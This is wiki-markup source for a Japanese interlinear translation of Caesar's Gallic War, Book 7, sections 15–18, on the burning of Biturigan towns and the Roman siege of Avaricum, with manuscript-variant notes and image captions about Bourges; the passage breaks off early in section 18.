**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:aestimare|aestimare]] だが、 &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:aestimari|aestimari]] [[wikt:en:debere|debere]] となっている。）&lt;/span&gt;
*quae sit [[wikt:en:necesse#Latin|necesse]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:victus#Participle|victis]].
**それらのことは、打ち負かされた者たちには、起こることが必然なのである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===15節===
[[画像:Bourges_-_002_-_Low_Res.jpg|thumb|right|300px|'''アウァーリクム'''（Avaricum）すなわちビトゥリゲース族（Bituriges）の名を残すともいわれる現在の[[w:ブールジュ|ブールジュ]]（Bourges）の[[w:サン＝テチエンヌ大聖堂 (ブールジュ)|サン＝テティエンヌ大聖堂]]（[[w:世界遺産|世界遺産]]）。この街はガッリア時代からこの地方の中心的な城塞都市であり、現代ではそれほど大都会ではないが、世界遺産の大聖堂や音楽祭などで広く知られている。]]
[[画像:Bourges.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた街並み。'''ビトゥリゲース族'''はかつてはイタリア北部に移住したこともある強大な部族で、この当時はブルディガラ（Burdigala：現在の[[w:ボルドー|ボルドー]]）周辺にいたビトゥリゲース・ウィウィスキ族（Bituriges Vivisci）およびアウァーリクム周辺にいた'''ビトゥリゲース・クビ族'''（Bituriges Cubi）の二派に分かれていた。『ガリア戦記』に登場するのはビトゥリゲース・クビ族の方である。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/15節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;

;焦土戦術開始、しかしアウァーリクムの防衛を決定
:　
;　　　焦土戦術として、ビトゥリゲース族の街々が焼かれる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Omnium [[wikt:en:consensus#Latin|consensu]] 
**&lt;small&gt;（会合の参加者）&lt;/small&gt;全員の合意により
*hac [[wikt:en:sententia#Latin|sententia]] [[wikt:en:probatus#Latin|probata]], 
**&lt;small&gt;（ウェルキンゲトリークスの）&lt;/small&gt;この意向が承認されると、
*uno die [[wikt:en:amplius|amplius]] [[wikt:en:viginti|viginti]]&lt;sub&gt; (XX)&lt;/sub&gt; [[wikt:en:urbs#Latin|urbes]] [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:incenduntur|incenduntur]]. 
**一日で、20より多いビトゥリゲース族の街々が焼かれる。
:　
;　　　ほかの諸部族の街々も焼かれる
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc idem fit in reliquis [[wikt:en:civitas#Latin|civitatibus]]: 
**これと同じことが、ほかの諸部族でも行なわれて、
*in omnibus partibus 
**あらゆる方面において、
*[[wikt:en:incendium#Latin|incendia]] [[wikt:en:conspiciuntur|conspiciuntur]]; 
**炎上が望見される。
*quae &lt;u&gt;etsi&lt;/u&gt; magno cum [[wikt:en:dolor#Latin|dolore]] omnes [[wikt:en:ferebant|ferebant]], 
**それらの皆が大きな悲嘆とともに耐えていたとしても、
*&lt;u&gt;tamen&lt;/u&gt; hoc sibi [[wikt:en:solacium#Latin|solacii]] [[wikt:en:proponebant|proponebant]], 
**しかし、自分らにとっての&lt;small&gt;（以下の）&lt;/small&gt;慰めを抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …&lt;br&gt;　　　　「～としても、にもかかわらず…」）&lt;/span&gt;
*quod se prope [[wikt:en:exploratus#Latin|explorata]] [[wikt:en:victoria#Latin|victoria]] 
**勝利はほぼ確実なものとされて、
*celeriter [[wikt:en:amissus#Latin|amissa]] [[wikt:en:reciperaturus#Latin|reciperaturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; 
**失ったものを速やかに回復するであろう、
*[[wikt:en:confidebant|confidebant]]. 
**と確信していたことである。
:　
;　　　アウァーリクムは、焦土戦術か、それとも防衛すべきか？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:deliberatur|Deliberatur]] de [[wikt:en:Avaricum#Latin|Avarico]] in [[wikt:en:communis#Latin|communi]] [[wikt:en:concilium#Latin|concilio]], [[wikt:en:incendi#Latin|incendi]] &lt;u&gt;placeret&lt;/u&gt; an [[wikt:en:defendi#Latin|defendi]]. 
**合同の会合において、アウァーリクムについて (も) 焼き討ちが良いか、あるいは防衛か、が吟味される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:placeret|placeret]]&lt;sub&gt; (接続法･未完了過去)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:placeat|placeat]]&lt;sub&gt; (接続法･現在)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　ビトゥリゲース族が、要害であるアウァーリクムの防衛を懇願する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:procumbunt|Procumbunt]] omnibus Gallis ad pedes [[wikt:en:Bituriges#Latin|Bituriges]], 
**&lt;small&gt;（会合に参加していた）&lt;/small&gt;すべてのガッリア人の足元へ、ビトゥリゲース族の者たちはひれ伏す。
*ne [[wikt:en:pulcherrimus#Latin|pulcherrimam]] prope &lt;u&gt;[[wikt:en:totus#Latin|totius]] Galliae&lt;/u&gt; [[wikt:en:urbs#Latin|urbem]], quae &lt;u&gt;et&lt;/u&gt; [[wikt:en:praesidium#Latin|praesidio]] et [[wikt:en:ornamentum#Latin|ornamento]] sit [[wikt:en:civitas#Latin|civitati]], 
**ほぼ全ガッリアの街々で最も美しいもの、部族にとっては要害でも誉れでもあるものを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：totius Galliae は &amp;alpha;系写本の語順で、&amp;beta;系写本では Galliae totius となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は &amp;beta;系写本にはあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*suis manibus [[wikt:en:succendo#Latin|succendere]] [[wikt:en:cogerentur|cogerentur]]; 
**自分たちの手で燃やすことを強いられないように、と（懇願した）。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ cogerentur；～を強いられないように）&lt;/span&gt;
:　
;　　　アウァーリクムの地の利
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; facile se loci natura [[wikt:en:defensurus#Latin|defensuros]] [[wikt:en:dicunt|dicunt]], 
**自分たちは&lt;small&gt;（アウァーリクムを）&lt;/small&gt;地勢によって容易に防衛するだろう、と述べる。
*quod prope ex omnibus partibus [[wikt:en:flumen#Latin|flumine]] et [[wikt:en:palus#Latin|palude]] [[wikt:en:circumdatus#Latin|circumdata]] 
**というのは&lt;small&gt;（アウァーリクムは）&lt;/small&gt;ほぼあらゆる方向から川や沼地で囲まれており、
*unum habeat et [[wikt:en:perangustus#Latin|perangustum]] [[wikt:en:aditus#Latin|aditum]]. 
**一つだけ、非常に狭い進入路を持っているからだ。
[[画像:Bourges_2.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた沼地。イェーヴル川（[[w:fr:Yèvre (Cher)|fr:Yèvre]]）と沼地は、カエサルが書いたようにガッリア時代からこの街を囲んでいる。]]
:　
;　　　アウァーリクムの防衛が認められる
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:datur#Latin|Datur]] [[wikt:en:petens#Latin|petentibus]] [[wikt:en:venia#Latin|venia]] 
**&lt;small&gt;（アウァーリクムの防衛を）&lt;/small&gt;求める者たちに許可が与えられる。
*[[wikt:en:dissuadens#Latin|dissuadente]] primo [[wikt:en:Vercingetorix#Latin|Vercingetorige]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は当初は思い止まらせていたが、
*post [[wikt:en:concedens#Latin|concedente]] et [[wikt:en:prex#Latin|precibus]] ipsorum et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]]. 
**後には、彼ら当人の懇願にも、民衆への哀れみにも、譲歩した。
*[[wikt:en:defensor#Latin|Defensores]] [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:idoneus#Latin|idonei]] [[wikt:en:deliguntur|deliguntur]].
**城塞都市の適切な防衛者たちが選ばれる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===16節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/16節]]　{{進捗|00%|2026-03-22}}&lt;/span&gt;
;アウァーリクムをめぐる両軍の駆け引き
:　
;　　　ウェルキンゲトリークスが、アウァーリクムから16マイル離れたところに宿営する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] [[wikt:en:minor#Latin|minoribus]] Caesarem [[wikt:en:iter#Latin|itineribus]] [[wikt:en:subsequitur|subsequitur]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルを緩やかな行軍で追尾して、
*et locum [[wikt:en:castra#Latin|castris]] [[wikt:en:eligit#Latin|deligit]] [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:munitus#Latin|munitum]] 
**沼地や森林で防御された地点を陣営のために選んだ。
*ab [[wikt:en:Avaricum#Latin|Avarico]] longe milia passuum [[wikt:en:sedecim#Latin|sedecim]]&lt;sub&gt; (XVI)&lt;/sub&gt;. 
**アウァーリクムから16&lt;u&gt;ローママイル&lt;/u&gt;隔たっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、16マイルは約24 km）&lt;/span&gt;
:　
;　　　ウェルキンゲトリークスが、斥候を放ってアウァーリクムを探り、部下たちに指図する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ibi per [[wikt:en:certus#Latin|certos]] [[wikt:en:explorator#Latin|exploratores]] 
**そこで、一定の斥候たちを通して、
*in [[wikt:en:singulus#Latin|singula]] diei tempora, quae ad [[wikt:en:Avaricum#Latin|Avaricum]] &lt;u&gt;agerentur&lt;/u&gt;, [[wikt:en:cognoscebat|cognoscebat]] 
**日中の毎時、アウァーリクム近傍で行なわれていることを探知して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:agerentur|agerentur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:gererentur|gererentur]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quis#Latin|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:imperabat|imperabat]]. 
**&lt;small&gt;（彼自身が）&lt;/small&gt;なされることを欲していることを&lt;small&gt;（麾下の者たちに）&lt;/small&gt;命令していた。
:　
;　　　ウェルキンゲトリークスとローマ勢の糧秣調達をめぐる攻防
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Omnes nostras [[wikt:en:pabulatio#Latin|pabulationes]] [[wikt:en:frumentatio#Latin|frumentationes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:observabat|observabat]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:糧秣|秣や糧食]]の徴発の一部始終を注視していて、
*[[wikt:en:dispersus#Latin|dispersos]]&lt;nowiki&gt;que&lt;/nowiki&gt;, cum longius necessario [[wikt:en:procederent|procederent]], [[wikt:en:adoriebatur|adoriebatur]] 
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;分散して、やむを得ずにはるか遠くに進み出たときに、&lt;small&gt;（ガッリア勢が）&lt;/small&gt;襲いかかって、
*[[wikt:en:magnus#Latin|magno]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:incommodum#Latin|incommodo]] [[wikt:en:adficiebat|adficiebat]], 
**&lt;small&gt;（ローマ勢に）&lt;/small&gt;大きな損害を与えていた。
*[[wikt:en:etsi#Latin|etsi]], quantum [[wikt:en:ratio#Latin|ratione]] [[wikt:en:provideri|provideri]] [[wikt:en:poterat|poterat]], ab nostris [[wikt:en:occurrebatur|occurrebatur]], 
**とはいえ、できるかぎり用心する判断により&lt;small&gt;（敵の襲撃を）&lt;/small&gt;我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;によって阻止していた。
*ut [[wikt:en:incertus#Latin|incertis]] temporibus [[wikt:en:diversus#Latin|diversis]]&lt;nowiki&gt;que&lt;/nowiki&gt; itineribus [[wikt:en:iretur|iretur]].
**不確定な時間帯にまったく別々の道を行き来するというように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===17節===
[[画像:Carte_du_Cher.svg|thumb|right|250px|アウァーリクム、すなわち現在の[[w:ブールジュ|ブールジュ市]]（Bourges）のあるフランス・[[w:シェール県|シェール県]]の地図。中心にブールジュがあり、右下（南東）のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にボイイー族の首邑ゴルゴビナ（Gorgobina）があったと推定されている。右（東）隣の[[w:ニエーヴル県|ニエーヴル県]]（Nièvre）が[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/17節]]　{{進捗|00%|2026-03-28}}&lt;/span&gt;
;アウァーリクム攻囲に取りかかるローマ軍の糧秣欠乏
:　
;　　　カエサルが、アウァーリクム攻囲のための堡塁工事に着手
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:castra#Latin|Castris]] ad eam partem [[wikt:en:oppidum#Latin|oppidi]] [[wikt:en:positus#Participle|positis]] Caesar, 
**カエサルは、[[w:オッピドゥム|城塞都市]]の&lt;small&gt;（以下に述べるような）&lt;/small&gt;方面に陣営を設置して、
*quae [[wikt:en:intermissus#Latin|intermissa]] a flumine et a &lt;u&gt;paludibus&lt;/u&gt; 
**──&lt;small&gt;（その方面は）&lt;/small&gt;川や沼地により&lt;small&gt;（外部から）&lt;/small&gt;遮断されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:paludibus|paludibus]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:palude#Latin|palude]] となっている。）&lt;/span&gt;
*[[wikt:en:aditus#Noun_3|aditum]], ut supra [[wikt:en:diximus#Latin|diximus]], [[wikt:en:angustus#Latin|angustum]] [[wikt:en:habebat|habebat]], 
**&lt;u&gt;前に述べたように&lt;/u&gt;、狭い進入路を持っているというものであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#15節|15節]]⑤項では、&lt;br&gt;　　　　ほぼあらゆる方向から川や沼地で囲まれており、&lt;br&gt;　　　　一つだけ、非常に狭い進入路を持っている、&lt;br&gt;　　　　と言及された。）&lt;/span&gt;
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:apparare#Latin|apparare]], 
**&lt;small&gt;（さらに）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を装備すること、
*[[wikt:en:vinea#Latin|vineas]] [[wikt:en:ago#Latin|agere]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を駆動すること、
*[[wikt:en:turris#Latin|turres]] duas [[wikt:en:constituo#Latin|constituere]] [[wikt:en:coepit|coepit]]; 
**2つの&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を建てること、を始めた。
*nam [[wikt:en:circumvallo#Latin|circumvallare]] loci natura [[wikt:en:prohibebat|prohibebat]]. 
**なぜなら&lt;small&gt;（城塞都市を）&lt;/small&gt;堡塁で囲むことを地勢が妨げていたからだ。
&lt;div style=&quot;text-align:center;&quot;&gt;
{|
|-
|[[画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|right|350px|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。]]
|[[画像:Bender - Vinea.JPG|thumb|right|350px|&lt;ruby&gt;&lt;rb&gt;工作小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;  [[wikt:en:vinea|vinea]] の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。]]
|}
&lt;/div&gt;
:　
;　　　カエサルが、同盟者であるボイイー族やハエドゥイー族に、糧秣徴発を促す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; De re [[wikt:en:frumentarius#Adjective|frumentaria]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:糧秣|糧秣]]調達について、
*[[wikt:en:Boii#Latin|Boios]] atque [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:adhortari|adhortari]] non [[wikt:en:destitit|destitit]]; 
**[[w:ボイイ族|ボイイー族]]や[[w:ハエドゥイ族|ハエドゥイー族]]を鼓舞することを止めなかった。
*quorum [[wikt:en:alter#Latin|alteri]], quod [[wikt:en:nullus#Determiner|nullo]] [[wikt:en:studium#Latin|studio]] [[wikt:en:agebant|agebant]], non multum [[wikt:en:adiuvabant|adiuvabant]], 
**彼らのうち一方&lt;small&gt;〔ハエドゥイー族〕&lt;/small&gt;は、何らの努力を行なわなかったので、あまり助けにならなかった。
*[[wikt:en:alter#Latin|alteri]] non magnis [[wikt:en:facultas#Latin|facultatibus]], quod [[wikt:en:civitas#Latin|civitas]] erat [[wikt:en:exiguus#Latin|exigua]] et [[wikt:en:infirmus#Latin|infirma]], 
**他方&lt;small&gt;〔ボイイー族〕&lt;/small&gt;は、貧弱かつ無力な部族であったので、大した貯えもなく、
*celeriter quod [[wikt:en:habuerunt|habuerunt]] [[wikt:en:consumpserunt|consumpserunt]]. 
**早々と持っていたものを消費し切ってしまった。
:　
;　　　糧秣の欠乏が続くが、ローマの将兵たちが耐え抜く
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|Summa]] [[wikt:en:difficultas#Latin|difficultate]] rei [[wikt:en:frumentarius#Adjective|frumentariae]] [[wikt:en:adfectus#Latin|adfecto]] [[wikt:en:exercitus#Noun|exercitu]] 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;軍隊は糧秣調達の大いなる困難さに苦悩させられながらも、
*[[wikt:en:tenuitas#Latin|tenuitate]] [[wikt:en:Boii#Latin|Boiorum]], 
**──&lt;small&gt;（その困難は）&lt;/small&gt;ボイイー族の微力さ、
*[[wikt:en:indiligentia#Latin|indiligentia]] [[wikt:en:Haedui#Latin|Haeduorum]], 
**ハエドゥイー族の怠慢、
*[[wikt:en:incendium#Latin|incendiis]] [[wikt:en:aedificium#Latin|aedificiorum]], 
**&lt;small&gt;（敵勢による）&lt;/small&gt;家屋の焼き打ちによるものであったが、──
*usque eo ut [[wikt:en:complures#Determiner|complures]] dies [[wikt:en:frumentum#Latin|frumento]] [[wikt:en:miles#Latin|milites]] [[wikt:en:caruerint|caruerint]] 
**かなりの日々にわたって兵士たちは糧食を欠くまでになり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:usque#Latin|usque]] eo ut ～「～まで」）&lt;/span&gt;
*et [[wikt:en:pecus#Latin|pecore]] ex [[wikt:en:longinquior#Latin|longinquioribus]] [[wikt:en:vicus#Latin|vicis]] [[wikt:en:adactus#Latin|adacto]] 
**かなり遠方の村々から家畜を駆り立てたので
*[[wikt:en:extremus#Latin|extremam]] [[wikt:en:fames#Latin|famem]] [[wikt:en:sustentarent|sustentarent]], 
**極限の飢えに耐え通すまでになったのであるが、
*[[wikt:en:nullus#Determiner|nulla]] tamen &lt;u&gt;vox est ab iis&lt;/u&gt; [[wikt:en:auditus#Latin|audita]] populi Romani [[wikt:en:maiestas#Latin|maiestate]] et [[wikt:en:superior#Latin|superioribus]] [[wikt:en:victoria#Latin|victoriis]] [[wikt:en:indignus#Latin|indigna]]. 
**しかしながら、ローマ人民の威厳やかつての勝利にふさわしからぬ声は、彼らから何ら聞かれなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:vox#Latin|vox]] est &lt;u&gt;ab&lt;/u&gt; iis だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では &lt;u&gt;ex&lt;/u&gt; iis vox est となっている。）&lt;/span&gt;
:　
;　　　ローマ人将兵たちがカエサルに攻囲の継続を訴える
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:quin#Latin|Quin]] etiam Caesar cum in [[wikt:en:opus#Latin|opere]] [[wikt:en:singulus#Latin|singulas]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:appellaret|appellaret]], 
**いやそればかりか、カエサルが作業中のそれぞれの[[w:ローマ軍団|軍団]]に呼びかけたとき、
*et, si [[wikt:en:acerbe#Latin|acerbius]] [[wikt:en:inopia#Latin|inopiam]] [[wikt:en:ferrent#Latin|ferrent]], se [[wikt:en:dimissurus#Latin|dimissurum]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt; [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:diceret|diceret]], 
**もし、とても過酷に欠乏に耐えているのならば、自分は攻囲を放棄するであろう、とカエサルが言っていたときに、
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:universi#Latin|universi]] ab eo, ne id [[wikt:en:faceret|faceret]], [[wikt:en:petebant|petebant]] : 
**&lt;small&gt;（各軍団の）&lt;/small&gt;一同は、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に、それ&lt;small&gt;〔攻囲の放棄〕&lt;/small&gt;をしないように求めていた。
*sic se complures annos illo [[wikt:en:imperans#Latin|imperante]] [[wikt:en:meruisse|meruisse]], 
**自分たちは&lt;small&gt;（以下のように）&lt;/small&gt;幾年にもわたって彼&lt;small&gt;〔カエサル〕&lt;/small&gt;の麾下で努めてきた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sic ～ ut …「…のように～である」）&lt;/span&gt;
*ut [[wikt:en:nullus#Determiner|nullam]] [[wikt:en:ignominia#Latin|ignominiam]] [[wikt:en:acciperent|acciperent]], &lt;u&gt;nusquam incepta&lt;/u&gt; re [[wikt:en:discederent|discederent]]: 
**何ら不名誉を蒙ってないし、事&lt;small&gt;〔戦役〕&lt;/small&gt;が完遂されないまま&lt;small&gt;（戦列を）&lt;/small&gt;離脱することは決してなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:nusquam#Latin|nusquam]] [[wikt:en:inceptus#Latin|incepta]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:numquam#Latin|numquam]] [[wikt:en:infectus#Adjective|infecta]] となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; hoc se [[wikt:en:ignominia#Latin|ignominiae]] &lt;u&gt;loco [[wikt:en:laturus#Latin|laturos]]&lt;/u&gt; &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt;, si [[wikt:en:inceptus#Latin|inceptam]] [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:reliquissent|reliquissent]]; 
**もし&lt;small&gt;（自分たちが）&lt;/small&gt;着手した攻囲を放棄してしまったならば、自分たちはこの状態を不名誉と見なすであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では loco laturos の語順だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では laturos loco の語順となっている。）&lt;/span&gt;
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;praestare&lt;/u&gt; omnes [[wikt:en:perferre|perferre]] [[wikt:en:acerbitas#Latin|acerbitates]], 
**あらゆる厳しさに持ちこたえることは&lt;small&gt;（以下のこと）&lt;/small&gt;よりましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:civis#Latin|civibus]] Romanis, qui [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:perfidia#Latin|perfidia]] Gallorum [[wikt:en:interissent|interissent]], [[wikt:en:parentarent|parentarent]]. 
**ケナブムでガッリア人たちの不義により滅びたローマ市民たちの仇討ちをしないよりも。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#3節|3節]]①項を参照。仇討ちをしないのなら、苦しむ方がましである、の意）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Haec [[wikt:en:idem#Latin|eadem]] [[wikt:en:centurio#Latin|centurionibus]] [[wikt:en:tribunus#Latin|tribunis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:miles#Latin|militum]] 
**これらと同じことを、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、
*[[wikt:en:mandabant|mandabant]], ut per eos ad Caesarem [[wikt:en:deferrentur|deferrentur]].
**彼らを通じてカエサルに申し立てるように、依頼していた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===18節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/18節]]　{{進捗|00%|2026-04-13}}&lt;/span&gt;
;カエサルがウェルキンゲトリークス不在の敵陣へ迫る
:　
;　　　カエサルは、ウェルキンゲトリークスが糧秣の欠乏によりローマ勢の糧秣徴発隊を襲撃に向かったと知る
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum iam [[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turres]] [[wikt:en:adpropinquassent#Latin|adpropinquassent]], 
**すでに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁に&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]が近づいていた際に、
